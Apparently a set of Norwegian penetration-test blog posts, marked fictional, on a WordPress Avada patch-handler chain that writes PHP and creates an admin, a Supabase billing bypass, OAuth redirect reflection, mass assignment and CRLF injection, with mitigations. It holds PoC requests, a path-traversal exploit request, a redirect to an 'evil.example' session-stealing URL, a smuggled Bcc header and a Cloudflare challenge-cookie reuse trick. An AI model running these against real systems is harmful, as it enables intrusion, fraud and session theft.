### Forutsetninger og sikkerhetsoppsett - Ingen konto, cookie eller tidligere foothold. - Avada 7.12.1 og Avada Builder 3.12.1. - `wp-content/index.php` var en offentlig rutet PHP-fil. - Filens originale innhold var 28 byte: ```php Jeg kjørte filskriv og administratoropprettelse bare fordi dette var eksplisitt autorisert. En retest av samme klasse trenger backup, et avtalt tidsvindu og en ferdig rollback før første write. ### Steg 1: prestate ```bash curl -sS -D - https://skranglekoppas.no/wp-content/index.php -o /tmp/index-pre.body wc -c /tmp/index-pre.body sha256sum /tmp/index-pre.body ``` ```text 0 /tmp/index-pre.body e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 /tmp/index-pre.body ``` Tom body var forventet fordi PHP-filen bare inneholdt en kommentar. Hashen ble cleanup-orakelet. ### Steg 2: bygg request-lokal patchmetadata Agenten genererte en form-request med tre sentineler og create-patch på indeks `3`. Den virksomme Dynamic Data-encodingen og source-referansen er sanert: ```http POST /wp-admin/admin-ajax.php HTTP/1.1 Host: skranglekoppas.no Content-Type: application/x-www-form-urlencoded action=fusion_get_widget_markup fusion_load_nonce= awb_patcher_nonce= patchID=3 fusion_options[avada][0]=poc-sentinel-0 fusion_options[avada][1]=poc-sentinel-1 fusion_options[avada][2]=poc-sentinel-2 fusion_options[avada][3][patch][0][context]=avada fusion_options[avada][3][patch][0][path]=../../index.php fusion_options[avada][3][patch][0][reference]= fusion_options[avada][3][patch][0][version]=7.12.1 params[wp_widget_text__text]= ``` Pathen går fra Avadas forventede patchområde til `wp-content/index.php`. Source pekte på en byte-eksakt, midlertidig PHP-bridge. Jeg hentet source tilbake før patching og sammenlignet bytes og SHA-256 med den lokale payloaden. Serveren bekreftet at akkurat indeks `3` ble brukt: ```http HTTP/1.1 200 OK Content-Type: application/json {"success":true,"data":{"message":"Patch applied","patch_id":3}} ``` Dette beviser at patchhandleren godtok den injiserte patchen. Det beviser fortsatt ikke at PHP kjørte. ### Steg 3: kjør den selvrestaurerende bridgen Jeg trigget den rutede filen med en unik markør: ```http GET /wp-content/index.php?proof=9d4e7b2a HTTP/1.1 Host: skranglekoppas.no ``` Bridgen gjorde følgende, i denne rekkefølgen: 1. skrev de originale 28 byte tilbake til `__FILE__`; 2. lastet `wp-load.php`; 3. genererte et tilfeldig passord; 4. opprettet `poc_admin_9d4e7b2a` med rollen `administrator`; 5. verifiserte `manage_options`; 6. krypterte resultatet med en engangs RSA-public key; 7. returnerte bare ciphertext. Den virksomme PHP-koden er med hensikt ikke gjengitt. HTTP-responsen hadde denne formen: ```http HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 POC_ADMIN_CREATE_9d4e7b2a| ``` Lokal dekryptering ga en kort kontrollrecord: ```json { "state": "CREATED", "user_id": 7, "username": "poc_admin_9d4e7b2a", "manage_options": true } ``` Passordfeltet ble brukt i minnet og deretter kastet. Ciphertext i evidensen var 256 byte; den tilhørende private nøkkelen ble ikke lagt i rapportpakken. ### Steg 4: vanlig WordPress-innlogging Et internt funksjonskall som sier `manage_options=true` er bra, men jeg ville bevise at kontoen fungerte gjennom samme flate som en angriper ville brukt. ```http POST /wp-login.php HTTP/1.1 Host: skranglekoppas.no Content-Type: application/x-www-form-urlencoded log=poc_admin_9d4e7b2a&pwd=&wp-submit=Log+In&redirect_to=https%3A%2F%2Fskranglekoppas.no%2Fwp-admin%2F&testcookie=1 ``` ```http HTTP/1.1 302 Found Location: /wp-login.php?redirect_to=%2Fwp-admin%2F&action=confirm_admin_email Set-Cookie: wordpress_logged_in_; HttpOnly; Secure ``` Den nye sesjonen hentet deretter begge administratorflatene: ```text GET /wp-admin/ -> 200, ca. 144 KB, wp-admin-markup funnet GET /wp-admin/users.php -> 200, ca. 87 KB, users-tabellen funnet ``` Funn: . Kausalkjeden var nå komplett: anonym request, patchapply, filskriv, PHP-kjøring, privilegert bruker og ordinær administratorinnlogging. ## Cleanup var en egen transaksjon Jeg brukte en ny syntetisk patch på indeks `4` til cleanup. Den payloaden restaurerte målfilen først, slettet testbrukeren, ødela alle sessions for bruker-ID-en og fjernet bare de syntetiske patch-ID-ene `0..4` fra `fusion_applied_patches` og `fusion_failed_patches`. ```http HTTP/1.1 200 OK Content-Type: application/json {"success":true,"data":{"message":"Patch applied","patch_id":4}} ``` Cleanup-bridgen returnerte en enkel maskinlesbar kvittering: ```text POC_ADMIN_CLEAN_9d4e7b2a|USER_DELETED|PATCH_RESIDUE_0 ``` Jeg stolte ikke på kvitteringen alene. Scriptet kjørte fire readbacks: ```text GET /wp-content/index.php -> 200, 0 byte, SHA-256 e3b0c442...b855 GET /wp-json/wp/v2/users?slug=poc_admin_9d4e7b2a -> 200, [] POST /wp-login.php med gammelt testpassord -> ingen wordpress_logged_in-cookie GET /wp-admin/ med gammel testsesjon -> 302 til wp-login.php?...&reauth=1 ``` `objective_proved=true` og `cleanup_verified=true` var separate felt i evidensen. Det ene kunne ikke gjøre det andre sant. ## Det jeg forkastet underveis ### TOC-write var ikke RCE Det første funnet var ekte, men avgrenset. En fast metanøkkel med saniterte verdier er ikke vilkårlig kodekjøring. Hadde jeg kalt den «foothold til admin» på grunn av en `200`, ville rapporten vært feil. ### Første fil-canary manglet et rent orakel Før `wp-content/index.php` prøvde jeg en canary i en theme-path. Patcheren svarte `Patch applied`, og URL-en returnerte 75 byte, men den unike markøren manglet. Post-cleanup-responsen var identisk med source-bodyen, ikke med prestate: ```json { "execute_status": 200, "bytes": 75, "marker_exact": false, "postcleanup_matches_prestate": false } ``` Det kunne være redirect, routing eller feil målpath. Jeg forkastet det som bevis og byttet til en fil med kjent originalinnhold, stabil offentlig route og hashbasert pre-/poststate. ### En patcherrespons var ikke en filskriv `Skip the patch` på den store patch-ID-en betydde at handleren levde. Det betydde ikke at source var hentet eller at pathen var skrevet. Først da en gyldig indeks ga `Patch applied`, source round-trippet byte-eksakt og PHP-markøren kjørte over HTTP, hadde jeg et sammenhengende bevis. ### WordPress-admin ga ingen automatisk app-pivot Adminposisjonen ga tilgang til WordPress-runtime og lagrede integrasjoner, men den ga ikke en magisk session i Skranglekopp AS sin separate SaaS. Jeg testet to gjenfunne credential-par én gang hver mot to app-loginflater. Alle fire forsøk ble avvist. Målrettet cracking og lekkasjesøk ga heller ingen kryptografisk match. Det negative resultatet ble stående som negativt. Jeg hadde WordPress, ikke resten av selskapets applikasjoner. ## Verktøy og arbeidsdeling De viktigste verktøyene var ikke en stor scanner. Det var små, målrettede script med tydelige orakler. ### HTTP-baseline Jeg brukte `curl` og `httpx` til status, routing og reproduksjon: ```bash httpx -u https://skranglekoppas.no \ -status-code -title -tech-detect -web-server -follow-redirects curl -sS -D headers.txt \ https://skranglekoppas.no/wp-content/index.php \ -o index.body ``` AI-agentene kjørte den brede host-/endepunktkartleggingen. Jeg satte scope, rate og hvilke svar som fikk følges opp. ### Transaksjonsscriptet AI-en skrev først separate script for nonce, patchapply, canary og cleanup. Det var nyttig i utforskningen, men for mange løse deler til et kritisk bevis. Jeg ba den samle kjeden i én transaksjon med `try/finally`, kryptert credential-retur og separate mål/cleanup-verdikter. Den sanerte rapportvarianten kjøres slik: ```bash python3 poc_f08_full_chain_admin.py \ --target https://skranglekoppas.no \ --output ./evidence/f08 \ --execute \ --allow-httpbingo ``` `--allow-httpbingo` er en eksplisitt sperre rundt den byte-eksakte source-mekanismen som ble brukt i det avtalte testvinduet. Scriptet leser source tilbake og sammenligner bytes før patching. I en kundestyrt retest ville jeg erstattet den med en source-host kunden selv kontrollerer. Skriptet nekter aktiv kjøring uten `--execute`. Det avbryter før write hvis prestate ikke er tom, genererer tilfeldig admin, verifiserer vanlig login og gir bare exitkode `0` når både kompromittering og cleanup er bevist. Før levering kjørte jeg: ```bash python3 -m py_compile poc_f07_toc_meta_write.py poc_f08_full_chain_admin.py sha256sum -c SHA256SUMS ``` ```text POC_GUARDS_OK ARCHIVE_AND_ALL_INTERNAL_CHECKSUMS_OK ``` AI-en skrev og kjørte script, parserte responsene og holdt evidensledgeren oppdatert. Mine avgjørelser var å godkjenne den reversible administratortransaksjonen, forkaste det svake theme-canary-beviset, stoppe credential-pivoten etter negative kontroller og bestemme hva som kunne publiseres. ## Mitigering Oppdatering kommer først. Berørte Avada/Fusion Builder-versjoner må erstattes med leverandørens rettede release, og begge komponentene må kontrolleres etter deploy. Det holder ikke å oppdatere temaet og la Builder-pluginen stå igjen. Selve handlerne trenger også en ordentlig autorisasjonsgrense. En forenklet før/etter ser slik ut: ```diff function apply_patch() { + if (!is_user_logged_in() || !current_user_can('update_plugins')) { + wp_send_json_error(['message' => 'Forbidden'], 403); + } + + check_ajax_referer('awb_apply_patch', 'awb_patcher_nonce'); + $patch_id = absint($_POST['patchID']); - $patch = fusion_get_request_overridden_cache()[$patch_id]; + $patch = fusion_get_server_managed_patch_catalog()[$patch_id] ?? null; + if (!$patch) { + wp_send_json_error(['message' => 'Unknown patch'], 400); + } + + $target = canonicalize_patch_target($patch['path']); + if (!path_is_inside($target, AVADA_ALLOWED_PATCH_ROOT)) { + wp_send_json_error(['message' => 'Invalid path'], 400); + } } ``` `awb_save_toc_tree` trenger den samme disiplinen på postnivå: ```diff -add_action('wp_ajax_nopriv_awb_save_toc_tree', 'awb_save_toc_tree'); add_action('wp_ajax_awb_save_toc_tree', 'awb_save_toc_tree'); function awb_save_toc_tree() { + check_ajax_referer('awb_save_toc_tree', 'nonce'); $post_id = absint($_POST['postId']); + if (!$post_id || !current_user_can('edit_post', $post_id)) { + wp_send_json_error(['message' => 'Forbidden'], 403); + } // valider størrelse, dybde og schema før update_post_meta() } ``` På plattformnivå anbefalte jeg read-only deployartefakter, `DISALLOW_FILE_MODS` der driftsmodellen tillater det, og at PHP-brukeren ikke får skrive til webkjørbare plugin-/theme-paths. Etter en uautentisert RCE må kunden i tillegg behandle miljøet som mulig tidligere kompromittert: integritetssjekk filer og database, gjennomgå adminbrukere og cron, invalider sessions og roter WordPress-salter, databasepassord og integrasjonshemmeligheter. En WAF-regel mot actionnavnet kan kjøpe tid, men den reparerer ikke tillitsgrensen. Permanent fix må ligge i autentisering, capability-sjekk, serverstyrt patchkatalog og stram path-validering. ## Hva jeg lærte - En nonce er ikke en autorisasjon. Den kan begrense CSRF og fortsatt være verdiløs hvis en anonym renderkontekst får mintet eller gjenbrukt den mot privilegerte hooks. - `HTTP 200` var det minst interessante signalet i hele kjeden. Readback, unik marker, normal login og rollback gjorde resultatet rapporterbart. - En fast post-meta-write må avgrenses ærlig. Den var middels alvorlig, selv om den lå i samme plugin som den kritiske kjeden. - Pluginens interne datamodell avgjorde exploiten. Den store patch-ID-en feilet fordi cachen reindekserte til `0..N`; kildekodelesing slo flere tilfeldige forsøk. - En filskriv trenger et stabilt utførelsesorakel. Theme-canaryen ga tvetydig routing, mens `wp-content/index.php` hadde kjent prestate og offentlig route. - Cleanup må designes før create. Selvrestaurering først, minst mulig endring, separat cleanup-patch og uavhengig poststate gjorde produksjonsbeviset forsvarlig. - AI var best på bredde og mekanisk disiplin. Den skrev script, kjørte kontroller og sammenlignet hasher. Vurderingen av hva som var bevist, hva som skulle forkastes og når det var forsvarlig å opprette en admin var fortsatt min. Jeg startet med en 200-respons fra en anonym TOC-handler. Jeg endte med en vanlig WordPress-administratorsesjon, men bare fordi hvert ledd fikk sitt eget orakel. Det er forskjellen på en interessant request og en dokumentert kompromitteringskjede. --- # Fakturaen som aldri ble betalt — billing-bypass i en Supabase edge function URL: https://erik.no/blogg/2026-08-10-fakturaen-som-aldri-ble-betalt-supabase-billing-bypass Publisert: 2026-08-10 Tags: pentest, supabase, billing-bypass, oauth, security, ai **FIKTIVT:** Alle firmanavn, personnavn, domener og e‑postadresser i dette innlegget er oppdiktet. Eventuell likhet med ekte virksomheter eller personer er tilfeldig. Detaljer fra reelle oppdrag er sanert. Brunost AS (`brunostas.no`) kjører en SaaS som gir bedrifter en poengsum basert på Brønnøysund-registerdata og regnskapsintegrasjoner. Backend er Supabase — PostgREST, GoTrue-auth, edge functions. Frontend er en Next.js-SPA på Vercel. Oppdraget var en ekstern pentest av hele stakken, og det funnet som satte tonen var ikke et minnekorruption eller en injeksjon — det var en edge function som aksepterte `paymentMethod: "invoice"` og ga deg et aktiv enterprise-abonnement uten å betale en krone. Det funnet er , og det er det jeg vil vise helt ut: forutsetninger, den eksakte forespørselen, responsen, den negative kontrollen, og hva det låste opp av andre funn. I tillegg kommer to funn som ble mer interessante _fordi_ billing-bypassen eksisterte. ## Kontekst Scope var `brunostas.no` (web, auth, Supabase BaaS) og et relatert domene. To kontrollerte testkontoer ble registrert og verifisert — Bruker A og Bruker B, i hver sin tenant. Jeg kjører slike oppdrag med AI i loopen: agenter gjør recon, kartlegger endepunkter, skriver og kjører scripts, og jeg styrer scope, prioriterer, verifiserer og tar de vurderingene som krever menneskedømmekraft. Første steg var å la en agent hente den offentlige `anon`-nøkkelen fra SPA-bundlen, kartlegge GoTrue-settings, enumerere PostgREST-tabeller og edge functions. AI-en spytter ut et overflatedekke raskt — verdien ligger i å skille ekte hull fra støy, og det er der jeg bruker tiden. ## F-01: Gratis enterprise via `create-checkout` ### Hva jeg fant Edge function `create-checkout` tar en JSON-body med `plan`, `interval`, `paymentMethod`, `companyId` og et `invoice`-objekt. Når `paymentMethod` er `"invoice"`, returnerer den `{"invoicePending":true}` og oppretter en rad i `subscriptions` med `plan=enterprise`, `status=active`, `invoice_status=pending`. Ingen betaling behandles. Kontoen behandles som et aktivt enterprise-abonnement. Dette er samme klasse feil som [RLS-posten om abonnementsplanen](/blogg/2026-06-03-rls-beskytter-raden-ikke-rettigheten) — tilstanden som bestemmer tilgang ligger i en brukerskrivbar rad — men mekanismen er annerledes: her er det en edge function som gjør jobben, ikke en direkte PostgREST-PATCH. ### PoC / Reproduksjon **Forutsetninger:** innlogget som Bruker A (verifisert e-post, gyldig JWT), `companyId` tilhører A. `anon`-nøkkelen er offentlig og ligger i front-end-bundlen. 1. Hent `anon`-nøkkelen fra SPA-bundlen (AI-en fant den i en minified JS-chunk). 2. Logg inn og hent et access token: ```bash curl -s -X POST "https://auth.brunostas.no/auth/v1/token?grant_type=password" \ -H "apikey: " \ -H "Content-Type: application/json" \ -d '{"email":"brunost-a@emalupe.com","password":""}' ``` 3. Send checkout-forespørselen med `paymentMethod: "invoice"`: ```http POST /functions/v1/create-checkout HTTP/1.1 Host: brunost.supabase.co apikey: Authorization: Bearer Content-Type: application/json { "plan": "enterprise", "interval": "year", "paymentMethod": "invoice", "companyId": "11111111-1111-4111-8111-111111111111", "invoice": { "companyName": "POC-BILLING-BYPASS", "orgNumber": "999999999", "email": "brunost-a@emalupe.com", "address": "Testveien 1" } } ``` ```http HTTP/1.1 200 OK Content-Type: application/json {"invoicePending":true} ``` 4. Verifiser at abonnementet er aktivt: ```http GET /rest/v1/subscriptions?select=plan,status,invoice_status,payment_method&order=created_at.desc&limit=1 HTTP/1.1 Host: brunost.supabase.co apikey: Authorization: Bearer ``` ```json [{"plan":"enterprise","status":"active","invoice_status":"pending","payment_method":"invoice"}] ``` `status=active` er poenget. Abonnementet er ikke `pending` eller `trial` — det er aktivt enterprise, og enterprise-gatede funksjoner låses opp. 5. **Negativ kontroll** — send samme forespørsel med `paymentMethod: "card"` (forventet: en Stripe checkout-URL, ikke et aktivt abonnement): ```json {"url":"https://checkout.stripe.com/c/pay/cs_test_abc123..."} ``` Med `card` returneres en Stripe checkout-URL og ingen `subscriptions`-rad opprettes før betalingen er gjennomført. Med `invoice` opprettes raden umiddelbart. Det er forskjellen: `invoice`-stien stoler på en klientpåstand om at fakturaen _kommer_ til å bli betalt, i stedet for å vente på bekreftelse. Denne PoC-en oppretter et ekte Stripe-fakturaobjekt. Jeg kjørte den én gang mot min egen testkonto og ryddet opp etterpå. Ikke kjør den i en løkke eller mot ekte kundedata. ### Mitigering Ikke sett `status=active` før fakturaen faktisk er betalt. Lytt på `invoice.paid` eller `payment_intent.succeeded` fra Stripe-webhooken og oppdater `subscriptions`-raden først da. Alternativt: krev manuell godkjenning eller Stripe-fakturafinalisering før enterprise-tilgang provisjoneres. ```diff - const { data, error } = await supabase - .from('subscriptions') - .insert({ plan, status: 'active', invoice_status: 'pending' }) + // Don't provision until Stripe webhook confirms payment + const { data, error } = await supabase + .from('subscriptions') + .insert({ plan, status: 'pending', invoice_status: 'pending' }) ``` ## F-03: OAuth `redirect_to` uten allow-list ### Hva jeg fant GoTrue sin `/auth/v1/authorize`-endpoint reflekterer `redirect_to`-parameteren ukritisk inn i providerens OAuth-URL. Test med `https://evil.example`, `//evil.example` og `https://evil.example@www.brunostas.no` — alle ble reflektert i `Location`-headeren. Feilveier (avbrutt OAuth, feil credentials) baker riktig til `www.brunostas.no`. Suksessveien kunne jeg ikke teste uten en ekte Google/LinkedIn-konto, men den ukritiske refleksjonen er bekreftet. Dette er samme klasse funn som dukket opp i [kontaktskjema-posten](/blogg/2026-07-14-nextjs-middleware-cve-som-ikke-traff) og i [WordPress/e-post-posten](/blogg/2026-06-01-da-wordpress-holdt-men-e-posten-apnet-doren): uvalidert redirect kombinert med manglende e-postautentisering (SPF, DKIM, DMARC `p=none` på `brunostas.no`) gir en realistisk phishing-kjede. ### PoC ```bash curl -s -D - -o /dev/null \ -G "https://auth.brunostas.no/auth/v1/authorize" \ -H "apikey: " \ --data-urlencode "provider=google" \ --data-urlencode "redirect_to=https://evil.example.com/steal" \ | grep -i "^location:" ``` ```http location: https://accounts.google.com/o/oauth2/v2/auth?...redirect_to=https://evil.example.com/steal... ``` `redirect_to` sitter ukodet i providerens autoriserings-URL. GoTrue kan validere — feilveien (avbrutt OAuth, feil credentials) baker riktig til `www.brunostas.no`: ```bash curl -s -D - -o /dev/null \ -G "https://auth.brunostas.no/auth/v1/authorize" \ -H "apikey: " \ --data-urlencode "provider=google" \ --data-urlencode "redirect_to=https://evil.example.com/steal" \ --data-urlencode "code_challenge=invalid" \ | grep -i "^location:" ``` ```http location: https://www.brunostas.no/?error=... ``` Så validatoren _finns_. Den trigges bare ikke på suksessveien. Det er det som gjør funnet troverdig: koden for å avvise uvaliderte redirects er der, den kjører bare på feilpathen. Hvis callbacken på suksessveien også bruker `redirect_to`, kan en phishing-e-post (levert fra en forfalsket `@brunostas.no`-adresse — SPF, DKIM og DMARC `p=none` var alle fraværende) sende offeret til angriperen med sesjonen i URL-fragmentet. Jeg kunne ikke bekrefte suksessveien uten en ekte Google/LinkedIn-konto, men refleksjonen er bekreftet. ### Mitigering Allow-list `redirect_to` til registrerte callback-URLer. Implementer SPF, DKIM og DMARC `p=reject` på `brunostas.no`. — suksessveien er ikke bekreftet utnyttet, men refleksjonen pluss manglende e-postautentisering gjør kjeden troverdig. ## F-04: Mass-assignment av Brønnøysund-metadata ### Hva jeg fant PostgREST-PATCH på `companies` og `user_profiles` aksepterer endring av server-kontrollerte kolonner. På `companies`: `brreg_synced_at`, `brreg_checked_at`, `brreg_raw`, `created_at`, `updated_at`. På `user_profiles`: `first_name`, `last_name`, `onboarding_completed_at`, `last_active_at`. `brreg_raw` er det mest interessante: det er det rå responsobjektet fra Brønnøysund-registeret, som appen bruker til å beregne poengsum og vise "registerverifisert"-status. En angriper kan forfalske dette til å se ut som om selskapet har spesifikke registeregenskaper. Dette ble mer interessant _fordi_ billing-bypassen ga enterprise-tilgang, som igjen låser opp integrasjons-synk-funksjoner som forbruker disse dataene. ### PoC ```http PATCH /rest/v1/companies?id=eq.11111111-1111-4111-8111-111111111111 HTTP/1.1 Host: brunost.supabase.co apikey: Authorization: Bearer Content-Type: application/json Prefer: return=representation {"brreg_synced_at":"2020-01-01T00:00:00+00:00","brreg_checked_at":"2020-01-01T00:00:00+00:00","brreg_raw":{"forged":true}} ``` ```json [{"brreg_synced_at":"2020-01-01T00:00:00+00:00","brreg_checked_at":"2020-01-01T00:00:00+00:00","brreg_raw":{"forged":true}}] ``` Radene oppdateres og returneres. `brreg_raw` kan settes til et vilkårlig JSON-objekt — det er det Brønnøysund-responsen normalt sett lagres som, og det er det appen leser for å beregne poengsum og vise "registerverifisert". En angriper kan altså forfalske hele registergrunnlaget for sin egen bedrift: konkurstatus, VAT-registrering, under avvikling — alle feltene appen stoler på for scoring. **Negativ kontroll** — prøv å sette `role='admin'` på `user_profiles`: ```http PATCH /rest/v1/user_profiles?user_id=eq.11111111-1111-4111-8111-111111111111 HTTP/1.1 Authorization: Bearer {"role":"admin"} ``` ```http HTTP/1.1 403 Forbidden ``` RLS-policyen for `role`-kolonnen holder. Det er de andre kolonnene som er åpne — og `role` er den eneste som har en `WITH CHECK`-policy. Det er mønsteret: én kolonne beskyttet, resten glemt. ### Mitigering Fjern server-kontrollerte kolonner fra PostgREST sin `UPDATE`-grant. Bruk `WITH CHECK`-policies som avviser endringer av `brreg_*`, `created_at`, `updated_at`, `source`. Bruk `DEFAULT now()` og triggers for tidsstempler. — tilliten til registerdata undergraves, men det krever en innlogget bruker og påvirker bare egne data. ## F-02: Regresjonen som kom tilbake Under runde 6 av testingen fant jeg at RLS INSERT-policyen på `financials` og `integrations` hadde regressert: Bruker A kunne sette inn rader med `company_id` tilhørende Bruker B. Det var et klassisk cross-tenant-brudd — i sin egen rett, spesielt fordi synk-funksjonene forbruker disse radene. Jeg rapporterte det. Det ble fikset. Så i en senere syklus testet jeg på nytt — og det var åpent igjen. Regresjon. Rapportert på nytt. Fikset. På den endelige retesten (siste dagen av oppdraget) sendte jeg INSERT-forespørselen en gang til: ```http POST /rest/v1/financials HTTP/1.1 Host: brunost.supabase.co Authorization: Bearer Content-Type: application/json {"company_id":"22222222-2222-4222-8222-222222222222","cash":12345,"source":"fiken_sync"} ``` ```json {"code":"42501","message":"new row violates row-level security policy for table \"financials\""} ``` `403`. Den holdt. Men det at den brøt to ganger i løpet av oppdraget er et signal: RLS-policyer er skjøre, og det finnes ingen CI-regresjonstest som fanger opp at en `INSERT`-policy blir reversert. Dette er nøyaktig det [cross-tenant-posten fra juli](/blogg/2026-07-08-da-cross-tenant-funnet-ikke-overlevde-verifisering) handler om — forskjellen er at her brøt den faktisk, to ganger, før den holdt. Legg til en CI-test som kjører cross-tenant INSERT på `financials` og `integrations` ved hver deploy. ## F-05: CRLF i fakturafeltene `invoice.companyName` og `invoice.address` i `create-checkout` aksepterer literal `\r\n`. Bytene lagres i `subscriptions.invoice_company_name` og `invoice_address` og videresendes til Stripe sin faktura-API. ```bash printf 'POC-CRLF\r\nBcc: attacker@emalupe.com' | xxd | head -2 # 00000000: 504f 432d 4352 4c46 0d0a 4263 636f ... ``` `invoice.email` er validert og avviser CRLF — så valideringen _finns_, den er bare ikke påfelt på `companyName` og `address`. Bekreftelse med en hex-dump av den lagrede verdien i `subscriptions`-tabellen: ```bash curl -s -G "https://brunost.supabase.co/rest/v1/subscriptions" \ -H "apikey: " \ -H "Authorization: Bearer " \ --data-urlencode "select=invoice_company_name" \ --data-urlencode "order=created_at.desc&limit=1" \ | jq -r '.[0].invoice_company_name' | xxd | head -3 ``` ``` 00000000: 504f 432d 4352 4c46 0d0a 4263 636f 3a20 POC-CRLF..Bcc: 00000010: 6174 7461 636b 6572 4065 6d61 6c75 7065 attacker@emalupe 00000020: 2e63 6f6d .com ``` `0d0a` (CRLF) sitter i den lagrede verdien og videresendes til Stripe sin faktura-API. — potensiell log/CSV-splitting eller Stripe e-post-header-manipulering, men jeg beviste ingen nedstrøms-sink utover at bytene lagres og videresendes. ## Blindveier og falske positiver Ikke alt som så ut som et funn overlevde verifisering. Noen eksempler: - **`admin-list` edge function** returnerte `403` for alle ikke-admin brukere. AI-en flagget den som en potensiell BFLA, men RLS-policyen for `user_profiles.role` holdt — `PATCH role='admin'` ble avvist. Det var ikke et funn, det var en vellykket forsvarslinje. - **`nango-connect` og `shared-scores` edge functions** forsvant midt i oppdraget (begge returnerte `404`). De hadde vært flagget i tidligere runder. Enten ble de fjernet eller flyttet — uansett var de ikke lenger angripbare. - **Cross-tenant SELECT** ble aldje åpnet. RLS-policyen for lesing holdt hele veien. AI-en prøvde flere varianter (kolonne-probing, schema-bouncing, RPC-omveier) — alle blokkert. Det er en negativ kontroll på systemnivå: lese-isolasjonen var solid, selv når skrive-isolasjonen brøt. ## Verktøy og hvem som kjørte hva - **Recon og overflatekartlegging:** AI-agenter hentet `anon`-nøkkelen fra SPA-bundlen, kartla GoTrue-settings, enumererte PostgREST-tabeller og edge functions. Jeg satte scope og verifiserte funn. - **PostgREST-testing:** AI-genererte curl-scripts for INSERT/PATCH/DELETE på alle tilgjengelige tabeller, kjørt i parallelle lanes mot to testkontoer. Jeg brøt inn for å verifisere cross-tenant-funn med en uavhengig andre konto. - **Billing-bypass:** AI-en identifiserte `paymentMethod: "invoice"`-stien fra edge function-koden i bundlen. Jeg verifiserte med en manuell curl og sjekket `subscriptions`-tabellen. - **OAuth redirect:** enkel curl mot `/auth/v1/authorize` med `redirect_to`. AI-en genererte test-payloads; jeg verifiserte at feilveien baker riktig. - **CRLF:** AI-generert script med `printf '\r\n'` i JSON-body, bekreftet med `xxd` av lagret verdi. - **Retest:** alle funn ble retestet på siste dag med ferske tokens. Cross-tenant INSERT holdt (403), billing-bypass holdt (200), mass-assignment holdt (200). ## Hva jeg lærte - **Edge functions som provisjonerer tilgang før bekreftelse er den nye RLS-feilen.** En edge function som stoler på en klientpåstand (`paymentMethod: "invoice"`) er like farlig som en RLS-policy som glemmer `WITH CHECK` — kanskje mer, fordi den er vanskeligere å se. - **Billing-bypass forsterker alt annet.** Gratis enterprise låste opp integrasjonssynk, som forbruker `financials` og `integrations`-rader, som (i regresjonsperioden) kunne settes inn cross-tenant. Et medium-funn ble en kjede. - **RLS-regresjoner er et CI-problem.** At en INSERT-policy brøt to ganger i løpet av et oppdrag betyr at ingenting fanger opp at den reverseres. En 10-linjers test som kjører cross-tenant INSERT ved hver deploy hadde stoppet begge regresjonene. - **Én kolonne med `WITH CHECK` er ikke nok.** `user_profiles.role` var beskyttet; `brreg_raw`, `created_at`, `updated_at` var ikke. Mønsteret er at den _åpenbare_ sensitive kolonnen får en policy, og de _subtile_ server-kontrollerte feltene glemmes. - **Suksessveien i OAuth er den vanskelige å teste.** Feilveien baker riktig. Suksessveien krever en ekte provider-konto, og uten den kan jeg bekrefte refleksjonen men ikke utnyttelsen. Det er ærlig å si det, og det er forskjellen mellom og . - **Validering som finnes på ett felt og ikke et annet er et mønster.** `invoice.email` avviste CRLF; `invoice.companyName` og `invoice.address` aksepterte det. `user_profiles.role` hadde `WITH CHECK`; `brreg_raw` hadde det ikke. Når du finner én kolonne beskyttet og naboen ikke, test alle feltene i samme tabell — det er sjelden bare én som mangler. ## Veien videre Hvis jeg skulle gjort noe annerledes: jeg ville registrert en ekte Google-konto tidligere i oppdraget for å teste OAuth-suksessveien. Det er det eneste funnet der jeg måtte stoppe ved "refleksjon bekreftet, utnyttelse ikke bekreftet" — og det er en viktig forskjell i alvorlighetsgrad. Neste gang jeg tester en Supabase-app vil jeg også lete etter edge functions som provisjonerer tilstand før en webhook bekrefter det. Det er den klassen feil som RLS-testing alene ikke fanger. --- # Tauri-skrivebordsappen som angrepflate: det web-laget holdt, skrivebordet sprakk URL: https://erik.no/blogg/2026-08-09-tauri-desktop-app-som-angrepflate Publisert: 2026-08-09 Tags: pentest, tauri, desktop-security, mcp, ai, security **FIKTIVT:** Alle firmanavn, personnavn, domener og e-postadresser i dette innlegget er oppdiktet. Eventuell likhet med ekte virksomheter eller personer er tilfeldig. Detaljer fra reelle oppdrag er sanert. Tjall AS (`tjallas.no`) kjører en AI-agentplattform med en Tauri-basert skrivebordsapp, et Next.js-web-grensesnitt, et API i Node og en MCP-server. IT-sjefen Kari Olsen (`kari.olsen@tjallas.no`) ville vite om plattformen holdt. Svaret var todelt: web-laget var det mest herdet jeg har testet i år. Skrivebordsappen var den myke underbuken, med en mobilbro som lytter på hele LAN-et og et Tauri-IPC-flate som gir renderer-en direkte tilgang til skall, filsystem, SSH og MCP-konfigurasjon. ## Kontekst Scope var hele `tjallas.no`-domenet — alt som tilhører organisasjonen. Det ga meg fem angrepflater: | Flate | Stack | Cloudflare | |-------|-------|-----------| | `www.tjallas.no` | Next.js (SPA) | Ja, managed challenge | | `app.tjallas.no` | Next.js (app-shell) | Ja, managed challenge | | `api.tjallas.no` | Node/Express API | Ja, WAF-regler | | `admin.tjallas.no` | Next.js (admin) | Ja, 307-redirect | | `mcp.tjallas.no` | MCP-server (Express) | **Nei** | | `downloads.tjallas.no` | S3 + CloudFront | Ja (CDN) | | Skrivebordsapp (TjallSpace) | Tauri + Rust + WebKit | N/A (lokal binær) | | Skrivebordsapp (TjallVoice) | Tauri + Rust + WebKit | N/A (lokal binær) | Jeg kjører denne typen oppdrag med AI i loopen — agenter gjør recon, kartlegger endepunkter og kjører verktøy, jeg styrer scope, leser resultater og tar vurderingene. Første steg var å la en agent hente `llms.txt`-indeksen til bloggen for å unngå dobbeltdekning, deretter spawnet jeg syv parallelle lanes: web-mapping, API-enumerering, AppImage-reverse, key-hunt, CloudFront/S3, admin-panel og en kreativ celle. ## Det jeg fant ### Cloudflare-bypass: cf_clearance på tvers av subdomener Første runde lærte meg noe viktig om Cloudflare-konfigurasjonen deres. `cf_clearance`-cookien som Cloudflare setter når du løser en managed challenge er gyldig på tvers av alle subdomener under `tjallas.no`. Løser du challenge-en én gang på `www.tjallas.no`, kan du bruke samme cookie mot `api.tjallas.no` og `app.tjallas.no`. Dette er ikke et funn i seg selv — det er standard Cloudflare-oppførsel når subdomenene deler sone. Men det betyr at WAF-en som beskytter API-et bare er så sterk som challenge-en. Løser du den én gang med en ekte nettleser (jeg brukte agent-browser med en persistent profil), har du programmatisk tilgang til alle subdomenene. Jeg lagret cookien i en `.env`-fil og brakte den inn i alle videre 